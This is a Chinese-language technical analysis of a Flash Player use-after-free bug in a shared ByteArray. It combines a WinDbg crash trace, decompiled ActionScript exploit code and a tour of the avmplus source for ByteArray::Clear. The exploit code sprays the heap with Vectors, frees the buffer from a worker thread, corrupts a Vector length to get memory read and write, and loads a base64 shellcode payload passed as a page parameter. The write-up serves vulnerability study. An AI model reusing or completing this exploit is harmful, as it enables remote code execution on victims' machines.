(d18.908): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05390000 ebx=0452ddc0 ecx=0452db84 edx=773e64f4 esi=05390000 edi=00000000
eip=05390000 esp=0452dbd8 ebp=0452dc08 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
05390000 c3              ret
0:005> kv
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0452dbd4 73bb20dd bd01f535 00000001 80004001 0x5390000
0452dc08 73bb2315 00000000 0452dc48 73bb3256 corpol!IsNxON+0x3b (FPO: [Non-Fpo])
0452dc14 73bb3256 0452dc20 00000000 00000000 corpol!RbFreePermissionTreeData+0x10 (FPO: [Non-Fpo])
0452dc48 73bb3589 0452dcc8 0452ddc0 0452dc74 corpol!GetActivePolicy+0x35f (FPO: [Non-Fpo])
0452dd44 755f3660 0452ddc0 00000001 0452df18 corpol!CORPolicyProvider+0x2a1 (FPO: [Non-Fpo])
0452de60 755f269e 00000000 00000000 00000000 wintrust!I_IsUnsignedPEFile+0x8d6 (FPO: [Non-Fpo])
0452de7c 76f7adcc 00000000 0452df80 0452df18 wintrust!WinVerifyTrust+0x52 (FPO: [Non-Fpo])
0452de94 76f7bd71 00000000 0452df80 0452df18 urlmon!Cwvt::WinVerifyTrust+0x1d (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\wvtp.h @ 58]
0452dfa4 76f7c1cb 0000064c 00000000 00000002 urlmon!Cwvt::InvokeWinVerifyTrust+0x3cd (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\wvt.cxx @ 897]
0452e394 76f8055e 0000064c 0019026a 05fb1f58 urlmon!Cwvt::VerifyTrust+0x110 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\wvt.cxx @ 495]
0452fc48 76f774a5 76f775f2 0452fce8 00000000 urlmon!CDownload::VerifyTrust+0x172 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\dl.cxx @ 786]
0452fc4c 76f775f2 0452fce8 00000000 00000113 urlmon!CCDLPacket::Process+0x68 (FPO: [0,0,0]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\packet.cxx @ 540]
0452fc5c 76f7764c 03eb7fc0 00000000 0452fc98 urlmon!CCDLPacketMgr::TimeSlice+0x78 (FPO: [0,0,4]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\packet.cxx @ 331]
0452fc6c 76e386ef 00000000 00000113 00007549 urlmon!CDL_PacketProcessProc+0x2c (FPO: [Non-Fpo]) (CONV: stdcall) [d:\w7rtm\inetcore\urlmon\download\packet.cxx @ 58]
0452fc98 76e39363 76f77620 00000000 00000113 USER32!InternalCallWinProc+0x23
0452fd10 76e38f6f 00000000 76f77620 00000000 USER32!UserCallWinProc+0xe0 (FPO: [Non-Fpo])
0452fd68 76e38e9c 0452fd90 00000000 0452fdf0 USER32!DispatchMessageWorker+0x13d (FPO: [Non-Fpo])
0452fd78 6ac604a6 0452fd90 00000000 0187cf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])
0452fdf0 6ac70446 0585a808 00000000 032d6ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x452 (FPO: [Non-Fpo])
0452fea8 75ef49bd 0187cf58 00000000 0452fec4 IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])
0452feb8 77541174 032d6ff0 0452ff04 773fb3f5 iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])
0452fec4 773fb3f5 032d6ff0 715e9a99 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0452ff04 773fb3c8 75ef49af 032d6ff0 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
0452ff1c 00000000 75ef49af 032d6ff0 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
0:005> ub 73bb20dd 
corpol!IsNxON+0x24:
73bb20c6 ff156010bb73    call    dword ptr [corpol!_imp__VirtualAlloc (73bb1060)]
73bb20cc 8bf0            mov     esi,eax
73bb20ce 8975e4          mov     dword ptr [ebp-1Ch],esi
73bb20d1 3bf7            cmp     esi,edi
73bb20d3 7433            je      corpol!IsNxON+0x66 (73bb2108)
73bb20d5 c606c3          mov     byte ptr [esi],0C3h
73bb20d8 897dfc          mov     dword ptr [ebp-4],edi
73bb20db ffd6            call    esi
0:005> !heap -p -a esi

我们还是跟着作者的思路分析去

用

public class Main extends Sprite
  {
      
     
     private var ov:Vector.<Object>;
     
     private var uv:Vector.<uint>;
     
     private var ba:ByteArray;
     
     private var worker:Worker;
     
     private var mc:MessageChannel;
     
     private var b64:Base64Decoder;
     
     private var payload:String = "";
     
     public function Main()
     {
        ov = new Vector.<Object>(25600);
        uv = new Vector.<uint>();
        ba = new ByteArray();
        b64 = new Base64Decoder();
        super();
        if(Worker.current.isPrimordial)
        {
           mainThread();
        }
        else
        {
           workerThread();
        }
     }
     
     private function mainThread() : void
     {
        var _loc1_:* = 0;
        b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh);
        payload = b64.toByteArray().toString();
        ba.length = 4096;
        ba.shareable = true;
        _loc1_ = uint(0);
        while(_loc1_ < ov.length)
        {
           ov[_loc1_] = new Vector.<Object>(1014);
           ov[_loc1_][0] = ba;
           ov[_loc1_][1] = this;
           _loc1_++;
        }
        _loc1_ = uint(0);
        while(_loc1_ < ov.length)
        {
           delete ov[_loc1_];
           _loc1_ = uint(_loc1_ + 2);
        }
        worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes);  //创建后台worker
        mc = worker.createMessageChannel(Worker.current); 
        mc.addEventListener("channelMessage",onMessage);  //事件监听函数
        worker.setSharedProperty("mc",mc);
        worker.setSharedProperty("ba",ba);
        ApplicationDomain.currentDomain.domainMemory = ba;  //将ByteArrary对象设置为全局可用
        worker.start();
     }

worker进程

private function workerThread() : void
      {
         var _loc3_:ByteArray = Worker.current.getSharedProperty("ba");   //获得共享对象
         var _loc2_:MessageChannel = Worker.current.getSharedProperty("mc");
         _loc3_.clear();   //释放
         ov[0] = new Vector.<uint>(1022);
         _loc2_.send("");   //发消息给主线程，促发onMessage函数
         while(_loc2_.messageAvailable)
         {
         }
         ov[0][0] = ov[0][1027] - 24 - 4096;
         _loc3_.length = 5242880;
         var _loc1_:uint = vector_read(vector_read(ov[0][1032] - 1 + 64) + 8) + 1048576;
         var _loc5_:uint = ov[0][1033] - 1;
         var _loc4_:uint = vector_read(_loc5_);
         vector_write(vector_read(ov[0][1032] - 1 + 64) + 8);
         vector_write(vector_read(ov[0][1032] - 1 + 64) + 16,4294967295);
         _loc2_.send(ov[0][0].toString() + "/" + _loc1_.toString() + "/" + _loc5_.toString() + "/" + _loc4_.toString());
      }

onMessage

private function onMessage(param1:Event) : void
     {
        var _loc7_:* = null;
        var _loc2_:* = 0;
        var _loc12_:* = 0;
        var _loc8_:* = 0;
        var _loc4_:* = 0;
        var _loc11_:* = 0;
        var _loc3_:* = 0;
        var _loc5_:* = 0;
        var _loc6_:* = 0;
        var _loc10_:* = 0;
        var _loc9_:* = 0;
        casi32(0,1022,4294967295);   //这里是重引用，对domainMemory[0]
        if(ba.length != 4294967295)
        {
           mc.receive();
        }
        else
        {
           ba.endian = "littleEndian";
           _loc7_ = (mc.receive() as String).split("/");
           byte_write(parseInt(_loc7_[0]));
           _loc2_ = uint(parseInt(_loc7_[1]) as uint);
		。。。。。。
		。。。。。。
		。。。。。。

接下来简单看看AVM的源码：https://github.com/adobe-flash/avmplus

Source Insight 打开后，搜索ByteArray

我们看看cpp，在左边函数窗口搜索clear即可定位到clear函数

void ByteArray::Clear()
{
    if (m_subscribers.length() > 0)
    {
        AvmAssert(false); // shouldn't get here?
        m_toplevel->throwRangeError(kInvalidRangeError);
    }
    if (IsShared()) {
        ByteArrayClearTask task(this);
        task.run();   //核心点
    }
    else {
        UnprotectedClear();
    }
}

这里调用的task.run，我们继续跟踪

class ByteArrayClearTask: public ByteArrayTask
   {
   public:
       ByteArrayClearTask(ByteArray* ba)
           : ByteArrayTask(ba) 
       {
       }

       void run()
       {
           // safepoints cannot survive exceptions
           TRY(m_core, kCatchAction_Rethrow)
           {
               m_byteArray->UnprotectedClear();   //实际调用的是这里
           }
           CATCH(Exception* e)
           {
               m_exception = e;
           }
           END_CATCH;
           END_TRY;
       }
   };

我们在函数列表搜一下

 void ByteArray::UnprotectedClear()
    {
        if (m_buffer->array && !IsCopyOnWrite())
        {
            AvmAssert(m_buffer->capacity > 0);
            // Note that TellGcXXX always expects capacity, not (logical) length.
            TellGcDeleteBufferMemory(m_buffer->array, m_buffer->capacity);
            mmfx_delete_array(m_buffer->array);
        }
        m_buffer->array             = NULL;
        m_buffer->capacity          = 0;
        m_buffer->length            = 0;    // 3个清空的操作，假如再次使用那么就会崩溃了
#if defined(VMCFG_TELEMETRY_SAMPLER) && defined(DEBUGGER)
        if (m_gc->GetAttachedSampler())
        {
            ((IMemorySampler *)m_gc->GetAttachedSampler())->recordObjectReallocation(this);
        }
#endif
        m_copyOnWriteOwner  = NULL;
    }